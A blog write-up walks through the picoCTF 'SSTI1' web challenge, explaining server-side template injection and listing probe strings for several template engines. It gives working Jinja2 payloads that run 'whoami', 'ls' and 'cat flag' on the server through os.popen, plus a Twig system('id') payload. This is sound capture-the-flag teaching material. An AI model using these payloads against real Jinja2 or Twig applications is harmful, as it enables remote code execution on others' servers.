BOOK THIS SPACE FOR AD
ARTICLE ADHello Everyone !!
In this blog post, I’ll provide a detailed solution for the SSTI1 challenge from the picoCTF Web Exploitation category, which is categorized as an easy-level challenge.
Click on the Launch Instance button to access the challenge. Paste the given URL in browser and it will open a page as shown below —
Provide any random term and click on the Ok button. It can be noticed that user provided input is reflecting in the web page as shown below -
The challenge name — SSTI, is short for Server-Side Template Injection. SSTI happens when a web application lets users to submit data that gets processed by a template engine on the server without proper validation. Template engines are used to generate dynamic content, however if user provided input is not sanitized, attackers can inject malicious code that the server executes.
In this case, to identify which template engine is being used by the application, we can inject specific payloads and observe the response. Below are some common template engines and their corresponding test payloads:
Jinja2 (Python Flask/Django): {{ 7*7 }}
Freemarker (Java): ${7*7}
Velocity (Java): #set($a = 7*7)${a}
Thymeleaf (Java): ${7*7}
Twig (PHP Symfony): {{ 7*7 }}
Smarty (PHP): {$7*7}
Mako (Python): <% print 7*7 %>
If application will return 49 as a result then we can conclude that application is vulnerable to SSTI attack and we can confirm the respective template engine.
Lets try to provide payload as {{5 * 9}} and click on the Go button —
We can notice that application has given output as 45. It confirms that the application is vulnerable to SSTI and the template engine being used is Jinja2 (Python Flask/Django)..
Now to solve the challenge we need to find the flag value which we can get by performing Command Injection or Remote Code Execution attack. We can search for the available payloads with respect to Jinja2 to execute command injection.
Lets provide input as below -
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘whoami’).read() }}
This payload attempts to execute the whoami command on the server. If successful, it returns the current user’s name —
It is confirmed that application is vulnerable to Command Injection attack and now we can search for the flag file using ‘ls’ command to list available files in the currect directory by providing input as below -
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘ls’).read() }}
Luckily, we have the flag file in the same folder so we don’t have to search for it further and we can directly read the content of the flag file using the cat command as shown below -
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘cat flag’).read() }}
Challenge solved.
Note: Since the payload format for Jinja2 ({{ 7*7 }}) and Twig ({{ 7*7 }}) looks the same, it’s essential to confirm the exact template engine before proceeding with exploitation. We can try to execute the unique payload which will work only in one template engine for example Command Injection payload is different for both template as shown below —
Jinja2 (Python Flask/Django): {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘id’).read() }}
Twig (PHP Symfony): {{ system(‘id’) }}
Thanks for reading..